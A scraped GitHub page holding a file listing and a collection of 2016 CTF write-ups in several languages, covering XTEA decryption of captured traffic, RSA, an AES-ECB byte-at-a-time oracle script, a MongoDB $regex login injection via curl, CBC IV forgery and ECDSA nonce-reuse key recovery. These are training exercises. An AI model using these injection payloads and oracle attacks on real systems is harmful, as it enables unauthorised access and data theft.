</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Web-50-North_Korea.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Binary-100-guesslength.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-1-EBG13.py</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-50-λ.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-100-password.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-50-Crash.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Web-50-North_Korea.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<span>I realise that:1. They split the big string into 2 small</span>er strings (add a character '\x01' if the length is odd)<span>2. They reversed these 2 strings.3. They split 2 strings into 2*2 = 4 smaler string </span><span>(add a character '\x01' if the length is odd)4. They reversed these 4 strings......Repeat until all strings have only 1 character....They join them together and delete 'x01' </span><span>characters.So I input a string have the same length as "the output" so I will which position the 'x01' </span><span>characters were and put them into "the .output".Finally, I input that string into the code and have the flags.My code in Python: https://github.com/phamhuudanh96/CTF_WriteUp/blob/master/ctfx_2016_lambda.pyP/s: this is the first time I add writeup. :D If there is sth wrong, pls email me: [email protected]</span> |
This challenge has two files , pcap file and exe file.#PCAP fileThere are only 2 ips communicating ,and one ip is always the sender.Following the first TCP stream shows one char 'B', the second also shows one char '6'. So using scapy we can extract all these chars from the streams.```from scapy.all import *f = rdpcap('p.pcap')
s = ''for i in f: try: t = i.load except: continue s+=tprint s```This code will extract all the data sent.```B6XGLACYYUdwodupUtF0geaE5NKnf5gTiKxgwfWCJdi8Iq/b36ShdY/gs18m2VwpkTJPmg03FDpavvJF3EcAX8SUkrbpI1T61ZGKnrbD9gkf79eqi4giA4uKYEv9O/Iw3Godkhd0tB9e1ojQgW4307/OSTtWIzyEVhHbqkV694+fSZLD7FYMa80QYJQ5JRV/B6XGLACYYUdwodupUtF0geaE5NKnf5gT/Ycz/Ptt/q==```This looks like a base64 encoded string, the decoded output doesn't make any sense.So let's start analyzing the exe file.
#EXE file
##Static analysisThe imports are not removed, networking functions are imported . Strings are not obfuscated and ,PEiD krypto analyzer didn't find any crypto signatures.ASLR is enabled for the exe.
##Dynamic / Code analysis
Cross referencing the send() function shows that it is called from a single function (sub_411D50), so this function must be responsible for sending the data.Cross referencing this function shows that it is also called from a single function (sub_412300).Function sub_411D50 pushes a string "file.txt" then calls sub_411316 ,which returns the address of a buffer sent to strlen(the buffer contains the data in "file.txt").
Then i created the file and started debugging. sub_411316 just returns the content of the file, so no need to analyze it for now .sub_411AD0 requires that the input length is >= 8 then calls sub_411FF0.
The function at sub_411FF0 does some operations on the input .I didn't recognize it at first so i implemented this function in python, then i saw that 4 of the 5 hardcoded variables are not used ,after some searching for crypto constants i found that xtea algorithm uses 0x9E3779B9 ,and the fifth hardcoded value is 0x9E3769B9 ,and 0x1000 is added to it later , so this is the algorithm used to encrypt the data and the +0x1000 made PEiD miss it.
So we know have the key 'AWildKeyAppears!' sent as argument to sub_411FF0 and the data in the pcap file, but base64 decoding the data from the pcap file doesn't work.so we need to know what happens after encrypting the data inf file.txt and before sending it.
sub_4111B3 is called with the cipher as argument, this function does base64 encoding but with a custom alphabet```qtgJYKa8y5L4flzMQ/BsGpSkHIjhVrm3NCAi9cbeXvuwDx+R6dO7ZPEno21T0UFW=```instead of the standard alphabet```ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=```base64 encoding simply takes 3 chars from the input - 2**8 possible value each- (3 * 8 bits) and produces 4 chars from the alphabet( 2**6 possible values each) (4 * 6 bits).
using the python implementation of xtea from https://en.wikipedia.org/wiki/XTEA i wrote a script to decrypt the data in the pcap file
```import structimport base64import stringdef crypt(key,data,iv='\00\00\00\00\00\00\00\00',n=32): """ Encrypt/decrypt variable length string using XTEA cypher as key generator (OFB mode) * key = 128 bit (16 char) * iv = 64 bit (8 char) * data = string (any length)
>>> import os >>> key = os.urandom(16) >>> iv = os.urandom(8) >>> data = os.urandom(10000) >>> z = crypt(key,data,iv) >>> crypt(key,z,iv) == data True
""" def keygen(key,iv,n): while True: iv = xtea_encrypt(key,iv,n) for k in iv: yield ord(k) xor = [ chr(x^y) for (x,y) in zip(map(ord,data),keygen(key,iv,n)) ] return "".join(xor)
def xtea_encrypt(key,block,n=32,endian="!"): """ Encrypt 64 bit data block using XTEA block cypher * key = 128 bit (16 char) * block = 64 bit (8 char) * n = rounds (default 32) * endian = byte order (see 'struct' doc - default big/network)
>>> z = xtea_encrypt('0123456789012345','ABCDEFGH') >>> z.encode('hex') 'b67c01662ff6964a'
Only need to change byte order if sending/receiving from alternative endian implementation
>>> z = xtea_encrypt('0123456789012345','ABCDEFGH',endian="<") >>> z.encode('hex') 'ea0c3d7c1c22557f'
""" v0,v1 = struct.unpack(endian+"2L",block) k = struct.unpack(endian+"4L",key) sum,delta,mask = 0L,0x9e3779b9L,0xffffffffL for round in range(n): v0 = (v0 + (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask sum = (sum + delta) & mask v1 = (v1 + (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask return struct.pack(endian+"2L",v0,v1)
def xtea_decrypt(key,block,n=32,endian="!"): """ Decrypt 64 bit data block using XTEA block cypher * key = 128 bit (16 char) * block = 64 bit (8 char) * n = rounds (default 32) * endian = byte order (see 'struct' doc - default big/network)
>>> z = 'b67c01662ff6964a'.decode('hex') >>> xtea_decrypt('0123456789012345',z) 'ABCDEFGH'
Only need to change byte order if sending/receiving from alternative endian implementation
>>> z = 'ea0c3d7c1c22557f'.decode('hex') >>> xtea_decrypt('0123456789012345',z,endian="<") 'ABCDEFGH'
""" v0,v1 = struct.unpack(endian+"2L",block) k = struct.unpack(endian+"4L",key) delta,mask = 0x9e3779b9L,0xffffffffL sum = (delta * n) & mask for round in range(n): v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask sum = (sum - delta) & mask v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask return struct.pack(endian+"2L",v0,v1)
key = 'AWildKeyAppears!'s = 'B6XGLACYYUdwodupUtF0geaE5NKnf5gTiKxgwfWCJdi8Iq/b36ShdY/gs18m2VwpkTJPmg03FDpavvJF3EcAX8SUkrbpI1T61ZGKnrbD9gkf79eqi4giA4uKYEv9O/Iw3Godkhd0tB9e1ojQgW4307/OSTtWIzyEVhHbqkV694+fSZLD7FYMa80QYJQ5JRV/B6XGLACYYUdwodupUtF0geaE5NKnf5gT/Ycz/Ptt/q=='s = s.translate(string.maketrans('qtgJYKa8y5L4flzMQ/BsGpSkHIjhVrm3NCAi9cbeXvuwDx+R6dO7ZPEno21T0UFW','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'))
data =base64.b64decode(s)out = ''for i in range(0,len(data)-8 , 8): out+= xtea_decrypt(key , data[i:i+8],endian='@')print out```
PAN{did_1_mention_th0se_pupp3ts_fr34ked_m3_out_recent1y?} |
# CTFNAME#### RSA#### Cyrptography / 60pts
## DescriptionThis time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. [flag.txt](https://play.icec.tf/problem-static/flag_6c0d309aff5de8e26e20afa39bd736d6bde73440f0de620e3793d4d86e3d33ca.txt)
## Solution
First of all: WTF?! Why am i so...
WTF#1: " correctly " - it is correctly, at least every provided string is correct, I spent so much time to check them
WTF#2: &ellipsis; - is it "..." or is it ["elliptic attack"](http://andrea.corbellini.name/2015/06/08/elliptic-curve-cryptography-breaking-security-and-a-comparison-with-rsa/)
Well both WTF took so much time from me before I got that 60pts chall can't be so difficult
Success:
They provided everything we need in flag file. Even more:* N - which is modulus* c - whichi is encrypted test* d - which is private exponent* e - anyway it can only 3 or 65537, so not a big deal to have it* Phi - which is phi(N) = (p-1)*(q-1) ... and we do not need this!!!
All we really need are N, c, d
m=c^mod(N)
Using Python ```_pow(c,d,N)_``` function:
```c=0x126c2...d=0x12314...N=0x1564a...print (hex((pow(c,d,N)))[2:][:-1].decode('hex'))```
first we use pow to decrypt message, it will be provided in INT, INT will be converted to HEX, HEX to string and we have flag
## Flag**IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}** |
データを暗号化してくれるサーバが動いており、鍵とフラグは外部から読み込んでいる。サーバの Python コードが公開されている。コードを見ると、”l33t please” で始まる文字列を渡すと、文字列の末尾にフラグを追加したうえで AES で暗号化して base64 で返してくれる。CBC などは特に使っていないようで、同じ文字列は毎回同じように返ってきた。AES のブロックサイズは 128 ビットなので、16文字ごとに、望むものと一致すればその部分の暗号は同じになる。フラグの i 文字目までがわかっているとき、 “l33t please”に続けて、適当な文字を適宜詰め、そのあとフラグの i 文字目までを埋めて最後のブロックが一文字だけ余る状態にし、残りの1文字を一通り試すことができる。この時、”l33t please”とパディングのみを渡した結果（この場合はパディングの直後に正しいフラグを入れて暗号化してくれる）と比較すれば、正解の時だけ合致するブロックが多くなる。これを順に試せば、フラグが出てくる。 #!/usr/bin/python import commandsimport sys def encrypt(s): return commands.getoutput('echo -n \'' + s + '\' | (base64 -w 0; echo) | nc l33tcrypt.vuln.icec.tf 6001 | grep OH7').strip() def sharestr(s, t): ret = 0 for i in range(0, min(len(s), len(t))): if s[i] == t[i]: ret = i + 1 else: break return ret header = 'l33tserver please'flag_cand = ''cand_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}' cur_cand = '' while True: cur_cand_len = 0 tmphead = header + '/' * (16 - (len(header) + len(flag_cand) + 1) % 16) cur_enc = encrypt(tmphead) for i_loop in range(0, len(cand_chars)): now_cand = flag_cand + cand_chars[i_loop] print 'Trying: ', tmphead + now_cand tmp_enc = encrypt(tmphead + now_cand) tmp_len = sharestr(cur_enc, tmp_enc) print tmp_len if tmp_len > cur_cand_len: cur_cand_len = tmp_len cur_cand = now_cand if len(cur_cand) == len(flag_cand): sys.exit(1) flag_cand = cur_cand |
# ChainedIn
O desafio consistia em realizar um NoSQL injection, o database utilizado era o MongoDB, sabendo disso procurei funções que me fariam logar como administrador, o problema é que não bastava apenas logar como administrador mas sim fazer um datamining na base para conseguir a flag, apesar do pouco conhecimento em NoSQL principalmente MongoDB, consegui a flag utilizando $regex
```curl -iL http://chainedin.vuln.icec.tf/login \-H 'Accept: application/json, text/plain, /' \-H 'Content-Type: application/json;charset=UTF-8' \-d '{ "user": "admin", "pass": { "$regex": "^IceCTF.." } }'```
Cada consulta, só me deixava logar como admin quando a proxima letra batia, desta forma, consegui formar a flag completamente.
```IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo}``` |
# Quine II
O desafio consistia em criar um [quine](https://en.wikipedia.org/wiki/Quine_(computing)) e enviar para o servidor de forma que a flag fosse exibida:
```greyhound//deadcow ~/fun/icectf/quine2 % cat quine.c | nc quine.vuln.icec.tf 5501Please provide source file (up to 2048 bytes), ending with a dot by itself on a line[INFO] Sat 20 Aug 2016 13:42:09 File upload complete![INFO] Sat 20 Aug 2016 13:42:11 Echoing surviving source back/* IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD} */#include<stdio.h>char *a[] = {"\"};\n\n", "int main() {\n", " int i=0; char *b;\n", " char flag[64];\n", " FILE *fp;\n", " fp = fopen (\"/flag.txt\", \"r\");\n", " while (fscanf(fp, \"%%s\\n\", flag)!=EOF);\n", " printf(\"/* %%s */\\n\", flag);\n", " printf(\"#include<stdio.h>\\nchar *a[] = {\\\"\");\n", " while(*a[i]) {\n", " for(b=a[i];*b;b++)\n", " switch(*b) {\n", " case '\\n': printf(\"\\\\n\"); break;\n", " case '\\\\': case '\\\"': putchar('\\\\'); \n", " default: putchar(*b);\n", " } \n", " printf(\"\\\",\\n\\t\\\"\"); \n", " i++;\n", " }\n", " i=0;\n", " while(*a[i]) {printf(a[i]);i++;}\n", "}\n", ""};
int main() { int i=0; char *b; char flag[64]; FILE *fp; fp = fopen ("/flag.txt", "r"); while (fscanf(fp, "%s\n", flag)!=EOF); printf("/* %s */\n", flag); printf("#include<stdio.h>\nchar *a[] = {\""); while(*a[i]) { for(b=a[i];*b;b++) switch(*b) { case '\n': printf("\\n"); break; case '\\': case '\"': putchar('\\'); default: putchar(*b); } printf("\",\n\t\""); i++; } i=0; while(*a[i]) {printf(a[i]);i++;}}greyhound//deadcow ~/fun/icectf/quine2 %```
Para quem não sabe, uma explicação simples do que é um quine, seria um programa que consegue se reproduzir durante sua execução, ou seja, um programa que consegue ser replicado através do seu output.
|
# Rotated! (Crypto - 20 Points, 1451 solves)
> They went and ROTated the flag by 5 and then ROTated it by 8! The scoundrels! Anyway once they were done this was all that was left VprPGS{jnvg_bar_cyhf_1_vf_3?}
Solution--------
It's fairly easy to see the hint within "ROTated," that being said lets go right to looking at ROT 5 and ROT 8. One thing to remember in ciphertext like this you need to undo the encoding by doing the reverse.
> Encode: Plaintext -> ROT 5 -> ROT 8
> Decode: Ciphertext -> ROT 8 -> ROT 5
You can either write a tool yourself or simply find one of many online (here's one)
So what we did was pipe the ciphertext into the ROT 8 decoder and got a new string:
> DxzXOA{rvdo_jiz_kgpn_1_dn_3?}
Now we take the new string and pipe it back into the program to get the flag.
Flag: 'IceCTF{wait_one_plus_1_is_3?}'
|
# l33tcrypt (Crypto - 90 pts)
> l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it?
Solution--------
Looking at `server.py`, we see that the server accepts a base64-encoded input:```data = recvline(req).strip()try: data = base64.b64decode(data)```
checks to make sure it begins with the "magic word":```if not data.startswith("l33tserver please"):```
then pads it and encrypts it with AES and an unknown key:```c = AESCipher(KEY).encrypt(pad(data, 16))```
The padding is the interesting part. The code first appends the flag:```def pad(text, bs): text = text + FLAG```then adds a number of padding bytes (1-16 bytes, never 0) to bring it to a multiple of 16:``` pad_num = (bs - len(text) % bs) return text + chr(pad_num) * pad_num```
Next we [note](https://github.com/dlitz/pycrypto/blob/9e2b6af8c34efba80d141490b48b82a3c2185ae5/lib/Crypto/Cipher/blockalgo.py#L356)that pycrypto's block ciphers are used in ECB mode by default. That is, each16-byte block of the input is encrypted individually with the key, with nointeraction between blocks. We can use this fact to reveal the flag, one byteat a time.
The input must begin with 'l33tserver please'. Suppose we ask l33tserver toencrypt the 31 bytes of data: 'l33tserver pleaseaaaaaaaaaaaaaa'. The serverwill add the flag and pad it out to a multiple of 16 bytes. We will use F's torepresent the unknown bytes of the flag, and X's to represent the extrapadding:```l33tserver pleas|eaaaaaaaaaaaaaaF|FFFXXXXXXXXXXXXX```Now we know that the second block of the output is the encryption of'eaaaaaaaaaaaaaa' plus the first byte of the flag.
Now we can brute-force the first byte of the flag. Say we want to try the byte 'q'. Then we ask the server to encrypt 'l33tserver pleaseaaaaaaaaaaaaaaq':```l33tserver pleas|eaaaaaaaaaaaaaaq|FFFFXXXXXXXXXXXX```If the second block of the output equals the second block computed earlier, then the guess was correct and 'q' is the first byte of the flag. Once we have one byte correct, we can work on the second byte. We get the expected block by encrypting ```l33tserver pleas|eaaaaaaaaaaaaaFF|FFXXXXXXXXXXXXXX```Then, we can see if the second byte is 'z' by encrypting```l33tserver pleas|eaaaaaaaaaaaaaqz|FFFFXXXXXXXXXXXX```Once again, if the second block matches, we found the correct byte. We keeptrying bytes until we find one that matches. This process continues until wesuccessfully find the end of the flag. See[l33tcrypt_solve.py](l33tcrypt_solve.py) for code that executes this attack. |
# Flagstaff (Crypto - 120 pts)
> Someone hid his flag here... guess we better give up.
Solution--------Let's look at the server to see what it can do. It accepts four commands, two of which seem interesting:* decrypt: Decrypts the input data.* secret: Accepts an encrypted command and executes it. One of the accepted commands returns the flag, encrypted.
So it looks like we'll need to convince the server to give us the encryptedflag, then pass that to the decrypt command to get the plaintext. But how do weexecute the secret 'flag' command when it needs to be sent in encrypted form?
Let's take a closer look at how the decryption is done. The block cipher is used in CBC mode, with the IV provided as the first block of the message:```iv = enc[:self.bs]enc = enc[self.bs:]cipher = AES.new(self.key, AES.MODE_CBC, iv)dec = cipher.decrypt(enc)```Looking closely at the[formulas for CBC decryption](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29),we see that:```Pi = D(Ci) ^ Ci-1C0 = IV```
Thus, P1 = D(C1) ^ IV
This means that the "plaintext" block the server will interpret as a command iscontrolled by two components - the decryption of the provided ciphertext block,and the IV. The decrypted block is impossible for us to control without thekey, but the IV is completely under our control! So, if we find the decryptionof some arbitrary block, we can select an IV that XORs into it to produceexactly the plaintext we're hoping for.
So what plaintext do we have to produce?```handlers = { b"encrypt": encrypt, b"flag": flag}
data = recvline(req).strip()data = AESCipher(KEY).decrypt(data)
for cmd, func in handlers.iteritems(): if cmd in data: func(req) break```We want the 'flag' function to be called, so we need the text 'flag' to be inthe decrypted data. So, we're aiming to produce a plaintext block including the4 bytes 'flag'. The steps to do this are:
1. Get the decryption of an all-zeros data block with an all-zeros IV.2. XOR the desired text ('flag') into the result, use that as the new IV.3. Try decrypting this ciphertext with the new IV to check it comes out containing 'flag'.4. Send this ciphertext as an encrypted command in response to the 'secret' command. Receive an encrypted flag as the output.5. Use the 'decrypt' command to decrypt the flag.
A script that solves this challenge is provided in[flagstaff_solve.py](flagstaff_solve.py). |
# Contract (Crypto - 130 pts)
> Our contractors stole the flag! They put it on their file server and> challenged us to get it back. Can you do it for us? `nc contract.vuln.icec.tf> 6002` [server.py](server.py). We did intercept someone connecting to the> server though, maybe it will help. [contract.pcapng](contract.pcapng)
Solution--------
This server accepts a command and a signature, separated by a `:`. If the signature is not valid, the command is rejected. Three commands are available: `help`, `time`, and `read`. We would like to use the `read` command to read the flag from a file on the server's disk, but we will need a valid signature.
The included PCAP shows two successful commands:```help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d```
We can confirm that these signatures are correct by submitting them to the server:```# echo help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826 | nc contract.vuln.icec.tf 6002
COMMANDS:* read [file] - prints contents of file* time - prints the current time* help - prints this message
# echo time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d | nc contract.vuln.icec.tf 60022016-08-29 19:25:31```
ECDSA signatures actually consist of two components, `r` and `s`. Each time asignature is generated, the signer is supposed to choose a random integer `k`,compute the elliptic curve point `(x1, y1) = k * G`, then find `r = x1 mod n`.Because the value of `k` is random, every signature should have a different `r`value. However, if we look at the two signatures we have, we see that thefirst 48 bytes of the signature are the same!
This is a serious error in usage of ECDSA, because from two signatures computedwith the same value of `k`, it is possible to compute the value of `k` used,and from that the private key, as follows:```z1 = sha256('help')(r, s1) = signature for 'help'z2 = sha256('time')(r, s2) = signature for 'time'
k = (z1 - z2) * (s1 - s2)^-1d = (s1 * k - z1) * r^-1```Wikipedia has a[good writeup](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm)on this weakness of improperly-used ECDSA.
The resulting `d` is the secret exponent of the private key, so now we have allthe components of the key and can use an ECDSA library to generate signaturesfor any string we want, including 'read \<filename\>'.
[contract_solve.py](contract_solve.py) implements this technique. It takes anargument of the filename to read, and requests that file from the server. Weonly have to request flag.txt to get the flag:```# ./contract_solve.py flag.txt | nc contract.vuln.icec.tf 6002IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}``` |
# Search (Misc - 40 Points, 542 solves)
> There's something about this domain... [search.icec.tf](http://search.icec.tf/), I don't see anything, but maybe its all about the conTEXT.
Solution--------
This challenge had a massive hint, "conTEXT" or more specifically a TXT Record...
You can use many tools to look at TXT records, one of which is [MxToolbox](https://mxtoolbox.com/).
Simply query for the domain name and...
BINGO!
Flag: 'IceCTF{flag5_all_0v3r_the_Plac3}'
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